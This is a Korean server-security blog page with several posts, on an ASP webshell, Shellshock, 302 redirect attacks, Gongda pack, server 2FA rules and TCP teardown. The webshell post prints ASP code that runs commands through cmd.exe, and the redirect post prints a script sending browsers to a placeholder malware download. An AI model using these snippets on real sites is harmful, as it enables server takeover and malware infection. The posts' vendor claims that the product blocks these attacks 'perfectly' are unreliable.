웹페이지 변조와 웹서버 해킹의 주범인 웹쉘(webshell)의 사례와 분석 (ASP 웹쉘)

Posted by taeho Tae-Ho
2014.10.28 10:19 서버보안

해킹 공격 중에 DOS(혹은 DDOS) 다음으로 많이 발생하는(어쩌면 반대일 수도) 공격이 바로 웹쉘을 통한 웹서버 공격입니다. 해커들이 웹서버를 공격할 때 가장 즐겨 사용하는 공격도구이자 취약점이 바로 웹쉘입니다.


웹쉘은 Unix/Linux는 물론 Windows 서버까지 운영체제를 가리지 않고 존재합니다. 또한 JSP, ASP 등 웹서버에서 구동되는 언어 또한 가라지 않고 다양한 웹쉘이 존재합니다. 게다가 파일탐색기, 파일업로드, 파일의 생성/수정/삭제는 물론 서버 내의 명령어 실행까지 가능한 토탈패키지 형태의 웹쉘도 존재하고 기존의 운영중인 웹페이지의 소스에 한 두줄을 추가(변조)하여 해커가 원하는 한 가지 기능만 수행하도록 하는 탐지가 거의 불가능한 웹쉘도 존재합니다.


하지만 웹쉘의 공통적인 기능은 "웹서버 대몬 서비스를 통해 서버내에서 명령(명령어 혹은 파일수정 등)을 실행한다"는 것입니다.


윈도 서버에서 동작하는 웹쉘을 하나 선정하여 살펴보도록 하겠습니다.


아래 화면은 해커에 의해 업로드 된 웹쉘을 웹브라우저에서 호출한 화면입니다.



이 웹쉘은 SQL인젝션, 파일업로드, 리버스텔넷, 탐색기 기능을 갖춘 토탈패키지형 웹쉘입니다. 물론 꽤나 오래된 웹쉘이라 일부 기능은 테스트한 윈도2008 서버에서는 동작하지 않는 기능도 있습니다만... 해커가 필요로 하는 명령어 실행 기능은 매우 잘 동작합니다.



웹쉘을 통해 서버의 IP 및 네트워크 정보를 확인하기 위해 ipconfig 명령을 실행한 화면입니다. 

웹쉘을 통해 서버내의 명령을 실행하는 것은 앞의 포스트에서 여러차례 언급했 듯 서버보안SW인 RedCastle을 통해 완벽하게 차단할 수 있습니다.


 (관련 글 목록 보기)   /  웹쉘을 통한 웹페이지 변조 및 차단 방안 보러가기


이 웹쉘이 어떻게 동작하는지는 위반로그(차단로그)를 확인하면 알 수 있습니다.



웹쉘이 RedCastle의 정책에 의해 차단되면 "Execute violation" 위반이 발생합니다. 누군가가 cmd.exe를 실행한 것입니다.

아랫부분의 주체정보의 프로세스를 보면 "w3wp.exe"가 주체이고 객체정보의 프로세스는 "cmd.exe"인 것을 알 수 있습니다. 즉 w3wp.exe(IIS웹서버 대몬)가 cmd.exe를 실행한 것입니다. 아마도 이 웹쉘은 아래 화면처럼 cmd.exe에게 ipconfig.exe를 실행하도록 할 것입니다.



대부분의 웹쉘은 위 화면과 같이 cmd.exe 명령어 뒤에 /C와 같은 옵션을 주고 최종적으로 실행할 명령어를 포함하는 명령문을 만들어 웹서버(w3wp.exe)를 통해 실행합니다. 때문에 IIS 웹서버 대몬인 w3wp.exe가 cmd.exe를 읽거나 실행하지 못하도록 하면 웹서버에 업로드 된 웹쉘이 운영체제의 명령어를 실행하는 것을 완벽하게 차단할 수 있습니다.


이 웹쉘의 소스를 살펴보면 아래와 같이 cmd.exe에 실행할 명령을 조합하여 전달하는 것을 알 수 있습니다.


DIM prompt

prompt = Server.mappath(".")

Set CMD=Server.CreateObject("Wscript.Shell")

Set FP=Server.CreateObject("Scripting.FileSystemObject")


IF command <> "" Then

Tempfile=prompt & "\" & FP.GetTempName()

On Error Resume Next

Call CMD.Run ("cmd.exe /c " & command &" > " & Tempfile & " 2> " & Tempfile & "err", 0, True)


이 웹쉘에서는 CMD라는 wscript 객체를 만들고 run이라는 메소드를 이용해 실행할 명령을 전달하였지만 이외에도 웹서버 대몬을 통해 명령어를 실행하는 방법은 매우 다양하기 때문에 네트워크 수준에서 HTTP 프로토콜을 통해 웹브라우저와 웹서버간에 오가는 웹쉘의 트래픽을 분석하여 차단하는 것은 현실적으로 거의 불가능합니다.


그렇기 때문에 웹쉘을 효과적으로 차단하기 위해서는 서버내에서 웹서버 대몬이 운영체제의 영역에 접근하는 것을 차단하는 것이 가장 확실한 방법입니다.



신고
이 댓글을 비밀 댓글로
  1. 너무 전문적이라 머라 댓글을 남기기가 힘들군요. ^^
    어쨋거나 효과적인 차단 방법은 운영체제에 접근하지 못하게 하는게 중요하군요!
    • ㅎㅎ 그냥 패쑤~~하셔도 됩니다~~~
      근데..코딩하신다면 이정도는... ^^
  2. 해킹공격 중에 웹셀을 통한
    웹서버 공격이 많다는 사실을
    알게되었습니다.^^
    즐거운 목요일 보내세요!
    • 2016.08.18 17:48
    비밀댓글입니다
    • 1. 1번 질문에서 'w3wp.exe가 cmd.exe를 읽거나 실행하지 못하도록' 이 의미하는 바는 RedCastle SecureOS를 이용해 파일과 명령에 대한 접근통제를 수행해야 한다는 의미입니다. Windows에도 방화벽 뿐만 아니라 Unix의 File Permission 처럼 파일에 대해 접근 권한을 부여하는 보안기능이 지원됩니다. 하지만 Windows의 파일 접근권한으로는 완벽하게 통제하기가 현재로서는 불가능합니다. 우회적으로 Windows의 시스템 명령어 수행 시 "관리자 권한"이 필요한 것을 보셨겠죠. 해당 기능이 우회적으로 w3wp.exe가 cmd를 실행하여 시스템 설정을 건드리지 못하도록 하는 것입니다만. 일단 서버가 해킹되어 뚫리면 해커들은 운영체제 취약점을 이용해 관리자 권한을 얻기 때문에 큰 효과는 없다고 보여집니다.

      2. Windows는 운영체제의 근본적인 권한 분리 미흡으로 인해 서버에 생성되는 관리자 계정은 대부분 Administrators 그룹에 소속시키는 것이 일반적입니다. 그럼에도 불구하고 계정을 식별하여 특정 관리자 계정에서만 cmd.exe를 실행할 수 있도록 통제할 수는 있습니다. Windows의 파일에 대한 접근 통제 권한 설정 기능을 이용하면 됩니다. 하지만 서버가 한두대가 아닌 경우가 많고 특수 권한에 대한 접근통제 권한을 주기적으로 검토하여야 하기 때문에 개별 서버의 보안기능을 이용해 해당 통제를 수행하는 것은 현실적으로 어렵습니다.
    • 2016.08.19 10:15
    비밀댓글입니다

bash 취약점의 이해와 대응 방안 (CVE-2014-6271)

Posted by taeho Tae-Ho
2014.09.30 10:45 서버보안

얼마 전에 리눅스 운영체제의 기본적인 쉘(shell)인 bash의 취약점이 발견되어 인터넷을 통해 널리 알려졌습니다.


하지만 이번에 발표된 취약점의 특징은 하트블리드 취약점과는 달리 네트워크 프로토콜의 결함이 아닌 리눅스에서 가장 널리 사용되는 쉘(shell)인 bash (bourne-again shell)의 취약점입니다


저는 처음에 자세한 내용이 아닌 트위터나 페이스북에 올린 한두 줄의  bash 취약점 소식을 듣고... "쉘이 원래 명령어를 실행하기 위한 도구인데...버그일 수는 있지만 취약점일까??" 싶었습니다. 한동안 이리저리 신경 쓸 일이 많아 오늘에야 자세한 내용을 살펴보니 참 황당한 bash의 버그였고 해킹에 악용된다면 웹쉘이 업로드된 수준의 위험을 갖는 취약점이었습니다.


쉘이 어떤 것인지 궁금하신 분은 다음의 포스트를 참고하세요.


관련 포스트 : 쉘을 이해하자. http://blogger.pe.kr/300


하지만 자세한 내용을 살펴보니... RedCastle SecureOS를 이용해 기본적인 정책만 적용해 두었다면..적어도 웹서버와 같이 인터넷에 개방되어 있는 서버에서도 걱정하지 않아도 되는데...라는 생각이 들었습니다.


먼저 bash 취약점에 대해 간단히 설명하면....


인터넷에 이런 문장이 떠돕니다. 하지만 그 의미를 정확히 이해하고 있는 사람은 얼마나 될까 싶습니다. 



간단히 설명하면 먼저 bash에는 (환경)변수라는 것이 있습니다.프로그래밍에 기본적으로 등장하는 변수와 개념이 같다고 보면 됩니다. 하지만 bash에서는 그 활용도가 조금 더 넓습니다. bash에서는 환경변수에 값이 아닌 함수를 등록하고 bash -c  [변수명] 과 같은 방법으로 변수에 등록된 함수를 실행시킬 수 있습니다.


위의 문장은 변수에 함수를 등록하는 과정을 수행하는 것인데 조금 이해하기 쉽게 바꿔서 써보면 다음과 같이 쓸 수 있습니다.



위와 같이 풀어쓰면 한 줄로 쓴는 것보다 조금 이해하기 쉽습니다. 

C나 java 등의 언어로 코딩을 조금이라도 해본 엔지니어라면 함수안에서 실제 수행될 코드는 중괄호 사이 {  } 라는 것을 이해할 것입니다.그런데 함수의 정의가 끝난 뒤에 두 라인의 명령이 있습니다. 사실 이런 경우는 에러가 나면서 실행이 안되어야 합니다. 하지만 bash에서 함수를 실행하기 위해 파싱하는 과정에서 중괄호의 끝인 } 와 ' 사이에 있는 명령(echo)과 ' 뒤의 명령(bash -c)을 실행시켜버리는 버그가 있는 것입니다.


과연 이 버그를 해커들이 어떻게 활용할 수 있을까를 생각해보면 웹쉘처럼 악용할 수 있습니다. 운영중인 웹서버에서 bash에 접근할 수 있는 있는 취약점을 찾을 수 있다면 해커는 서버에서 Telnet, SSH로 접속한 것과 같이 웹서버가 실행중인 계정으로 자신이 원하는 명령어를 얼마든지 원격에서 실행할 수 있습니다. 궂이 웹쉘을 서버에 업로드 하고 그 경로를 찾는 과정을 거치지 않아도 웹쉘과 같은 효과를 얻을 수 있는 것이죠.


위의 명령을 조금...아주 조금만 바꿔보면 다음과 같이 패스워드 파일을 읽는 것도 가능합니다.못할게 없습니다. 심지어 서버에다 스크립트를 만들어 실행하거나 웹의 소스를 위변조하거나 서버를 다운시키는 공격도 가능합니다.



PS나 웹방화벽, 웹쉘차단 솔루션 등이 있더라도 웹서버에서 이번에 발표된 bash 취약점을 통해 운영체제의 명령어와 중요 설정파일 및 데이터 파일에 접근하지 못하게 방어하는 것은 현실적으로 불가능합니다. bash 자체를 패치하지 않는다면 말이죠.


하지만 정말 심각한 문제는 이 취약점에 원격에서 웹서버 혹은 기타 네트워크 기반의 서비스를 수행하는 애플리케이션을 통해 접근할 수 있을 때 발생합니다. 서버에 Telnet, SSH 접속한 것과 동일한 수준의 명령실행이 가능하니까요. 생각만 해도 끔직한 사고가 발생하게 됩니다.


하지만 제가 예전에 포스팅했던 "웹쉘(webshell)의 위험성과 서버보안SW(RedCastle SecureOS)를 이용한 차단방법"에서 언급된 보안 정책을 적용해두었다면 걱정하지 않아도 됩니다.


왜냐하면 이 bash 취약점을 악용하기 위해서는 웹서버 대몬(httpd, java, htmls 등)이 bash에 접근해야 하는데  RedCastle SecureOS가 보안정책에 따라 그 접근을 원천적으로 차단해주기 때문입니다.


IPS와 웹방화벽, 웹쉘차단 솔루션과 같이 보안정책이 아닌 블랙리스트 방식의 차단 룰에 의한 접근통제는 새로운 취약성에 적절하게 대응할 수 없기 때문에 취약점이 나오면 호들갑을 떨면서 새로운 패턴업데이트를 기다려야 합니다.


위의 테스트는 레드햇 엔터프라이즈 리눅스 6.4 에서 테스트했습니다. 이하 모든 리눅스에 bash 취약점이 있는 것이지요.

신고
이 댓글을 비밀 댓글로
  1. 리눅스 서버를 이용하는 경우에 필수적으로 생각해봐야 할 취약점이군요
    오늘도 한라지 지식 배우고 갑니다 ^^
    • 사실...어디에나 버그는 있게 마련이죠... 안보여서 모를 뿐이죠... 이른 출근길 버그조심하세요... 우리가 사는곳이 매트릭스 안일지도... ㅎ ㅎ
  2. 저희도 몇일전억 패치했는데
    • 네..취약점이 발견되고 패치가 있다면 적용하는 것이 기본이죠. 기본에 충실함이 가장 중요한 조치죠~ 잘하셨네요~ ^^

302 리다이렉트 공격기법에 대하여

Posted by taeho Tae-Ho
2014.09.04 13:54 서버보안

최근 "302 리다이렉션 공격"이라는 해킹이 유행하고 있는 듯 합니다. 마치 새로운 대단한 공격 기법인 것처럼 호들갑을 떨지만 이것은 새로운 공격 기법은 아닙니다. 홈페이지를 변조하거나 웹 브라우저가 요청한 웹페이지에 대해 특정 자바스크립트 코드를 삽입하여 클라이언트 PC의 웹 브라우저가 악성코드를 다운로드 받게 하는 하는 수많은 공격 기법과 전혀 다를 바가 없는 일반적인..흔하디 흔한 공격 기법 입니다.


다만 302 리다이렉션은 수많은 네트워크 보안솔루션들을 우회하기 위해 등장한 변종 기법이라는 점입니다. 홈페이지의 소스파일의 위/변조를 원천적으로 차단하면 보다 강력한 보안이 이루어질 텐데 네트워크 수준에서...또는 웹 서버의 설정을 변경하여 외부URL을 포함하거나 외부 서버에 있는 파일의 다운로드 링크의 동작을 차단하다 보니 해커들이 이젠 아예 접속한 클라이언트 PC의 브라우저를 다른 웹페이지로 완전히 전환(리다이렉션 : Redirection) 시켜버리기 시작한 것입니다.


이전과 같이 클라이언트 PC를 악성코드에 감염시키기 위한 공격의 과정에서 웹서버의 소스파일을 변조하는 공격이 선행된다는 점에는 변함이 없습니다. 즉, 웹 소스 파일의 위/변조를 원천적으로 차단하지 않는 한 이러한 변형 공격 기법은 지속적으로 등장할 것입니다. (당연히 기본적으로 시큐어 코딩은 적용되어야 합니다.)


원리는 다음과 같습니다.


302 Redirection Attack302 Redirection Attack


HTTP 프로토콜에서 지원하고 있는 응답코드 302가 브라우저의 주소를 다른 주소로 Redirect 하게 되는데 이 원리를 이용하여 악성코드를 다운로드 받는 URL로 강제로 전환 시켜 버리는 기법이 바로 302 리다이렉션 공격 입니다.


이 302 리다이렉션이 특별히 위험한 이유는 파밍 공격처럼 사용자가 자신이 실행하고 접속한 사이트를 보여주는 웹 브라우저가 다른 곳으로 전환(리다이렉션)되었다는 것을 전혀 인지하지 못할 수 있기 때문입니다. 이는 해커가 사용자가 접속한 웹페이지에 다음과 유사한 형태의 리다이렉션 코드(java script 혹은 meta 태그)를 추가(변조)하였기 때문입니다.


<script language=JavaScript>

Location.href = http://cdn.hack.com/virus.exe;

</script>


위에서 Location.href 를 지정하는 부분이 바로 302 리다이렉션을 유도하는 부분입니다. 해커가 원본 웹페이지 소스에 추가한 짧은 3줄의 Java Script 코드는 웹페이지에 숨어있다가 웹페이지에 접속한 사용자의 웹브라우저로 전달되고 웹 브라우저는 위의 Location.href 를 만나는 순간..... 사용자에게 "묻지도 따지지도 않고" 브라우저를 지정된 웹페이지로 이동(리다이렉션)시켜 버립니다.때문에 사용자는 그 사실을 모를 가능성이 높습니다.


이러한 302 리다이렉션을 사용자의 웹브라우저에서 막을 수 있는 방법은 현재로서는 없습니다. 가장 좋은 방법이 웹서버의 소스파일 위변조를 차단하는 것이며 웹 소스 변조를 통해 시도하는 302 리다이렉션과 다른 공격들을 원천적으로 방어할 수 있습니다. 그리고 시큐어코딩을 통해 웹페이지 소스 수준에서의 취약성을 제거한다면 대부분의 웹서버는 해킹으로부터 안전할 수 있습니다. 물론 DDOS와 같은 서비스 거부 공격은 예외겠지만 말입니다.


관련된 글 보기

웹서버 소스 위변조 방어를 위한 SecureOS 적용에 대한 포스트 보기



신고
이 댓글을 비밀 댓글로
  1. 잘 보고 갑니다~ 어려운 용어들이네요ㅎㅎㅎ

금융감독원 전자금융감독규정에 서버 운영체제 계정 접속 시 2차 인증 의무화 시행되다.

Posted by taeho Tae-Ho
2014.07.17 23:47 서버보안

최근 수년간 빈번하게 발생하고 있는 금융사 내부망에 위치한 서버의 고객 금융정보 유출사고가 빈발하자 금융감독원이 그에 대한 보안 대책을 제시하고 나섰다. 네트워크, 개인 업무용 컴퓨터의 보안을 강화하고 또 강화했지만 서버에 접근권한을 부여받은 관리자, 개발자, 외부 인력에 의한 개인정보 유출사고가 발생하자 이제서야 서버에 대한 보안 대책의 필요성을 느끼고 있는 모양이다.


아마도 "서버"에 대한 지식이 많이 부족한 정책 입안자들의 입장에선 그나마 쉽게 접근할 수 있는 네트워크와 데스크탑 컴퓨터의 보안을 우선시할 수 밖에 없었을 것이고 금융시스템의 개발자나 운영자 입장에선 스스로의 발목(?)을 잡는 서버에 대한 보안 이슈는 쉽게 제기하지 않을 수 밖에 없었을 것이다.


하지만 금융사의 고객정보와 금융정보가 저장되고 유지되는 핵심 요소인 "서버"의 보안을 강화하여야 한다는 이슈는 언젠가는 터져나올 당연한 이슈라고 할 수 있다.


금융감독원 전자금융감독규정 2013년 12월 개정안 내용


일단 2013년 12월에 공지된 금융감독원의 전자금융감독규정을 보면.. 제14조에 다음과 같은 내용이 추가되었다.


제14조(정보처리시스템 보호대책) 금융회사 또는 전자금융업자는 정보처리시스템의 안전한 운영을 위하여 다음 각 호를 포함한 보호대책을 수립·운용하여야 한다. <개정 2013.12.3>


-- 중략 --


  9. 정보처리시스템의 운영체제(Operating System) 계정으로 로그인(Log in)할 경우 계정 및 비밀번호 이외에 별도의 추가인증 절차를 의무적으로 시행할 것 <신설 2013.12.3>


  10. 정보처리시스템 운영체제(Operating System) 계정에 대한 사용권한, 접근 기록, 작업 내역 등에 대한 상시 모니터링체계를 수립하고, 이상 징후 발생 시 필요한 통제 조치를 즉시 시행할 것 <신설 2013.12.3>


위의 제14조 9항과 10항은 서버에 Telnet, FTP, SSH 등의 방법을 통해 운영체제의 계정인 root, oracle, jeus 등 시스템관리자 계정 및 서비스관리자 계정으로의 접속 시 OTP, ARS, PKI 등의 추가적인 인증 수단을 마련하도록 의무화한 것이라 볼 수 있다.


이러한 조치는 외부 인력 및 내부 인력의 무분별한 서버 직접 접속을 제한하고 접속할 때 실제 접속자가 누구인지를 인증하고 접속함으로써 보안사고 발생 시 감사 추적을 용이하게 하고 사고 발생 시점에 서버에 접속한 사용자(개발자, 운영자, 외부 인력 등)를 식별 함으로써 책임추적성을 확보할 수 있게 하기 위함이다.


또한 더 나아가 접속 시 식별한 실제사용자(실명) 정보를 바탕으로 명령어 및 중요 데이터 파일에 대한 실사용자 접근 감사기록을 증적함으로써 개인정보 및 중요 정보의 유출을 탐지할 수 있게 하기 위함이다. 


물론... 실사용자 기반의 파일 접근 통제를 수행함으로써 개인정보 및 데이터베이스 파일의 유출을 차단할 수도 있다.


서버 Telnet, FTP, SSH 접속 시 2차 인증 구현 방안


서버 운영체제의 계정 접속에 대한 2차 인증 구현을 위해서는 서버 운영체제의 기능만으로는 불가능하다. 이는 운영체제의 인증과정에 추가적인 인증모듈을 강제로 삽입함으로써 구현하여야 하는데 이는 운영체제에 대한 심오한 이해가 있어야 가능한 기술이다.


이러한 기술은 이미 RedCastle SecureOS에 오래전부터 구현되어 있다. RedCastle은 기본적으로 서버에 Telnet, FTP, SSH, rlogin 등의 접속 시 IP, MAC주소, 시간, 서버계정, 서비스 종류에 대한 조합을 통해 추가적인 접속 통제를 하도록 기능이 구현되어 있으며 이 기술은 네트워크 기반의 게이트웨이 방식 서버 접근 제어 솔루션의 기능과는 차별적이리 만큼 뛰어난 접근통제 기술이다.


PKI, OTP, ARS를 통한 2차 인증은 RedCastle SecureOS와 AuthCastle 이라는 2차 인증 솔루션의 연동을 통해 구현된다.

개념도를 그려본다면 다음과 같다.



사용자는 Telnet, FTP, SSH 클라이언트를 통해 평소와 다름없이 접속을 시도하게 되며 1차로 ID와 Password를 이용한 인증을 받게 된다. 이따금씩 보안솔루션 벤더에서 제공하는 커스터마이징된 "전용 Telnet, SSH 클라이언트"를 사용하도록 하는 솔루션들이 있지만 업무의 편의와 보안성, 안정성, 성능측면에서 볼 때 범용 도구들을 사용할 수 있도록 하는 제품을 선택하는 것이 좋겠다.


만약 금융감독규정 14조 9항의 "운영체제 계정으로 서버 접속 시 2차 인증"을 수행하고 있다면 다음의 포스트도 함께 볼 것을 권한다. 시행하고 있는 2차 인증이 실제로 "운영체제 계정으로 접속 시 2차 인증"인지 확인할 필요가 있기 때문이다. 몇몇 솔루션들이 지원하는 실제 접속하는 서버 앞에 게이트웨이 형태의 장비를 두고 해당 장비에 접속할 때 2차 인증을 수행하는 "무늬만 2차 인증"은 아닌지 짚어볼 필요가 있기 때문이다.


그리고 로그인 과정에서 패스워드를 자동으로 입력해주는 솔루션이 있지만 이는 분명 보안에 위배되는 심각한 문제가 있음을 간과해서는 안된다. "패스워드는 복호화가 불가능하도록 단방향 암호화 되어야 한다"는 개인정보보호법을 위반하는 것이며 모든 서버의 ID, Password를 복호화가 가능한 형태로 하나의 DB에 저장하는 것은 오히려 위험을 키우는 상황이 될 수도 있기 때문이다.


이러한 형태의 무늬만 2차 인증은 보안 감사에서 문제가 될 가능성이 매우 높다고 볼 수 있다. 그리고 게이트웨이 접속 시 2차 인증이 과연 "운영체제 계정으로 접속 시 2차 인증"을 시행하는 것으로 인정할 수 있는가에 대한 이슈는 제기되고 있다.


ID와 Password 인증을 마치면 RedCastle의 로그인 통제 모듈에 의해 PKI, OTP, ARS 인증과정을 거치게 된다. 이때 RedCastle의 로그인 통제 모듈은 AuthCastle과 통신하여 PKI, OTP, ARS 인증에 필요한 추가적인 인증 기능을 수행하게 된다.


아래에 개인의 공인인증서를 활용한 PKI 추가 인증에 대해 예전에 올린 포스트를 제시한다.


[2 factor 인증] 공인인증서/OTP/ARS를 통한 자연인 기반의 서버 접근제어 포스트 보기


2차 인증에 사용될 수 있는 수단은 OTP와 PKI인증서(공인/비공인) 그리고 ARS(전화) 인증이다. 이러한 2차 인증을 통해 APT 공격을 통해 서버에 침투하는 것을 통제할 수 있다.


신고
이 댓글을 비밀 댓글로
  1. 과거와 달리 요즘은 서버에 접속하려면 통합 접속 통제를
    거치고 개인id 패스워드로 접속해서 처리해야 하거나 otp를 받아야 하거나
    하는등 늘상 서버에 접속하는 일을 하는지라 상당히 불편해진 부분이 많습니다.
    보안을 지키는건 원래 불편한것인가 봅니다 ^^
    • 보안이 강화되면 "불편함"은 증가하죠~ 뭐라도 한가지 액션을 더 취해야 하니까요.. ^^ 하지만 생각해보면 컴퓨터 보안이든 실생활이나 직장에서든 "안전" 이라는 것을 지키기 위해서는 "불편함"이 따르게 마련이지요~ ^^

RedCastle SecureOS를 활용한 공다팩(Gongda pack) 유포를 차단하는 서버보안 정책 적용 방안

Posted by taeho Tae-Ho
2014.07.08 15:55 서버보안

해커들이 해킹을 통해 침투하고자 하는 컴퓨터는 딱~ 두종류로 요약된다. 개인의 비밀스런 정보가 저장되어 있는 Windows 운영체제가 설치된 개인용 컴퓨터와 기업의 기밀정보(고객 개인정보 포함)가 저장되어 있는 서버다. 이 두 컴퓨터에 침입하기 위한 공격 기법은 이루 셀 수 없을 정도로 다양하다. 


그중에서 최근 해커들에게 각광받고 있는 공격기법이 바로 웹서버 해킹을 통해 웹페이지의 소스를 변조하여 공다팩(Gongda pack)이라 불리는 익스플로잇 공격도구를 개인용 컴퓨터에 감염시키는 해킹기법 이다.


공다팩이 무엇인지 살펴보면...


"Dadong" 이라는 독특한 스크립트 난독화된 익스플로잇 툴킷으로서 Windows 컴퓨터에 감염되어 Microsoft의 Windows, Office 등 제품의 취약점과 Acrobat, Flash 등 서드파티 애플리케이션의 취약점을 공격하거나 외부에서 공격도구를 다운로드하여 감염된 컴퓨터를 파괴하거나 해커가 제어할 수 있도록 하는 공격용 자바(Java)스크립트" 라고 정의할 수 있다. 


공다팩을 디코딩하여 Java Script를 확인해보면 "gongda"라는 이름의 변수를 많이 사용하기 때문에 Gongda pack 이라는 이름으로 불리는데 사용자 컴퓨터의 브라우저가 IE 인지 아닌지를 체크하며 버전에 따라 모바일 브라우저인지 PC용 브라우저인지까지 체크하여 세밀한 공격을 수행하기도 한다.


이 포스트에서는 공다팩이 웹 브라우저에서 어떻게 동작하는지는 설명하지 않는다. 이 포스트에서는 웹서버가 공다팩을 유포하도록 해킹이 되는 것을 막기 위한 방안을 제시하는 것이 목적이기 때문이다.


일부 웹방화벽이나 IPS 혹은 백신에서 현재까지 알려진 공다팩이 다운로드 되는 것을 차단해주기도 하지만 변형된 공다팩이 매우 다양하고 조금만 변형되어도 인지하지 못하는 경우가 많기 때문에 공다팩에 감염되는 개인용 컴퓨터가 있는 조직에서 근본적인 방어는 불가능하다. 

공다팩에 의한 피해를 줄이는 가장 좋은 대응책은 공다팩의 최대 유포 경로인 "웹서버"의 보안을 강화하는 것이다. 웹 서버를 운영하는 기업, 공공기관, 비영리단체 그리고 개인에게는 자신들의 서버가 해킹당해 악성코드를 유포하는 것을 예방해야할 책임이 있다. 그 책임을 기관이가 기업의 웹서버에 접속하는 개인에게 지우는 것은 너무도 무책임한 처사라 할 수 있다.


공다팩 스크립트의 구조와 동작방식 보러가기


● 공다팩(gongda pack) 유포의 가장 흔한 방법과 그 의미


공다팩은 대부분 해킹되어 변조된 웹서버에 의해 유포된다. 공다팩을 유포하는 웹서버의 해당 웹페이지에는 다음과 같이 dadong's 0.44 와 같은 난독화 도구를 통해 내용을 확인할 수 없도록 인코딩 되어 있다.



해커들은 위 화면과 같은 gongda pack을 웹페이지에 추가하기 위해 다양한 방법을 사용한다. 만약 당신의 웹서버의 특정 페이지의 소스에 gongda pack이 추가되어 있다면 해당 웹서버는 이미 사망선고를 받은 것과 같다. 외부의 해커가 웹서버의 소스파일을 마음대로 변조할 수 있다는 것은 이미 해커가 해당 웹서버를 완벽하게 점령한 것과 같기 때문이다.


해커들이 gongda pack을 웹서버를 통해 유포하고 있다면


  • 웹서버 자체의 취약점 공격을 통한 관리자 권한 탈취
  • Command Injection 취약성 공격을 통한 관리자 권한 탈취
  • SQL Injection 취약성 공격을 통한 관리자 권한 탈취
  • 업로드 취약성 공격을 통한 웹쉘 업로드를 통한 관리자 권한 탈취
  • 게시판 등의 XSS, CSRF 취약성 공격을 통한 소스코드 삽입 공격


등 이미 다양한 취약성을 이용한 공격에 성공한 상태라는 의미가 된다. 이는 해당 웹서버에게 사망선고를 내리기에 충분한 사유다.


● 공다팩(gongda pack) 유포지로의 악용을 막기 위한 방안


냉정하게 이야기하면 네트워크에 기반한 보안 솔루션을 통해서 공다팩 유포를 차단할 수는 없다. 네트워크 보안 솔루션들은 대부분(90% 이상) 패킷을 분해하여 시그니처를 탐지하는 기법을 사용하는 제품이 대부분이다. 때문에 현재까지 알려진 시그니처가 아닌 변형된 공다팩이라면 탐지하지 못할 가능성이 매우 높다. 일부 시그니처 탐지 기법이 아닌 다른 기법을 사용하는 제품들이 있긴하지만 안정성이나 탐지의 정확성 측면에서 신뢰할 만한 제품은 없는 것이 현실이다.


가장 확실한 보호대책은 RedCastle과 같은 SecureOS 솔루션을 통해 웹서버의 소스파일에 대한 접근통제 정책을 적용하는 것이다. 


일부 서버에 적용하는 웹쉘 차단 솔루션이나 소스 위변조 방지 솔루션들이 있지만 RedCastle SecureOS에 비해 적용방법이 매우 복잡하고(소스를 수정해야 하는) 지속적인 유지 관리가 어려운 문제점이 있다.


RedCastle의 파일에 대한 접근통제정책은 운영체제의 커널의 System Call 수준에서 동작하기 때문에 네트워크 취약성이나 운영체제의 명령어 혹은 웹서버 대몬의 취약성과 소스파일의 취약성에 의한 변조시도도 완벽하게 차단할 수 있는 장점이 있다.


아래 포스트에서 그 내용을 확인할 수 있다.


관련 포스트


1. IIS 웹서버 해킹을 통한 악성코드 삽입 공격 방어 사례(소스 위변조 공격)

2. 홈페이지 변조 차단의 근본적인 방안은 바로 시큐어오에스(SecureOS)다.

3. 웹쉘(webshell)의 위험성과 서버보안S/W(RedCastle SecureOS)를 이용한 차단 방법


신고
이 댓글을 비밀 댓글로
    • 2014.07.14 09:29
    비밀댓글입니다

4 way handshake (TCP 연결 종료 과정)

Posted by taeho Tae-Ho
2014.05.10 11:43 서버보안

해킹 여부 및 DDOS 공격 여부를 확인하기 위해 unix/linux 서버를 점검할 때 가장 먼저 살펴봐야할 것은 서버의 통신 상태다. 그리고 이때 사용하는 명령어는 netstat 명령이다. 만약 root권한의 탈취가 의심되고 운영체제 파일의 변조까지도 의심스럽다면 서버에 기본적으로 설치되어 있는 netstat 명령보다는 사고가 발생하지 않은 서버에서 netstat 명령어나 lsof 명령어 등을 업로드하여 사용하는 것이 좋겠다.


많은 엔지니어나 운영자들이 TCP 소켓의 상태 중에 3 way handshake 과정에 해당되는 LISTEN이나 SYN_SENT, SYN_RCVD, ESTABLISHED 등의 상태에 대해서는 잘 알고 있지만 FIN_WAIT1이나 FIN_WAIT2 등 통신 종료과정의 상태에 대해서는 어떤 의미인지를 잘 모르고 있는 경우가 많다.


TCP 통신의 종료과정은 일반적으로 4 way handshake라고 불리는 절차에 의해 진행된다. 일단 그 과정을 도식화 하면 다음과 같다.

이 4 way handshake 과정은 다음과 같이 진행된다.


1. 먼저 통신을 종료하고자 하는 클라이언트는 서버에게 FIN 플래그를 세팅한 패킷을 보내고 자신은 FIN_WAIT_1 상태가 된다.


2. FIN 을 수신한 서버는 ACK를 클라이언트에게 전송하고 소켓의 상태를 CLOSE_WAIT로 변경한다.


3. ACK를 수신한 클라이언트는 서버가 FIN을 잘 받았다고 판단하고 FIN_WAIT_2로 소켓의 상태를 변경한 뒤 다시 FIN 패킷을 기다린다.


4. FIN을 클라이언트에게 전송한 서버는 다시 FIN 패킷을 클라이언트로 전송한 뒤 소켓을 LAST_ACK 상태로 변경한다.


5. FIN을 수신한 클라이언트는 서버에게 ACK를 전송한 뒤 소켓의 상태를 TIME_WAIT 상태로 변경한다.


6. 클라이언트로부터 마지막 ACK를 수신한 서버는 소켓을 CLOSED 한다.


이 4 way handshake 과정이 문제가 되는 경우가 종종 발생한다. 서버와 클라이언트의 통신에서 (이때 클라이언트는 대부분 PC가 아닌 Unix, linux 서버임) 클라이언트 쪽에 FIN_WAIT1, FIN_WAIT2 상태의 소켓이 급격하게 증가하여 소켓관련 메모리가 부족한 상황이 발생하고 더 이상의 소켓을 오픈하지 못하는 경우가 그것이다.(실제로 오래전 서버보안 프로젝트 수행 시 이 문제로 골치를 앓은 경우가 있어 확실하게 기억하고 공부를 하였음. -.-)


이러한 증상의 원인은 대부분 서버나 클라이언트 측 프로그램의 버그이거나 운영체제의 버그인 경우가 많은데 쉽게 원인을 찾지 못하는 경우가 많은 것 같다. 클라이언트에서 서버에게 FIN을 날려 통신을 끊고자 하면 서버가 ACK와 FIN을 순차적으로 클라이언트에게 보내야 하지만 어떤 이유인지 서버측에서 혼자만 소켓을 LAST_ACK나 CLOSED로 바꾸고 ACK와 FIN 전송을 모두 혹은 FIN의 전송을 하지 않는 경우로 보인다.


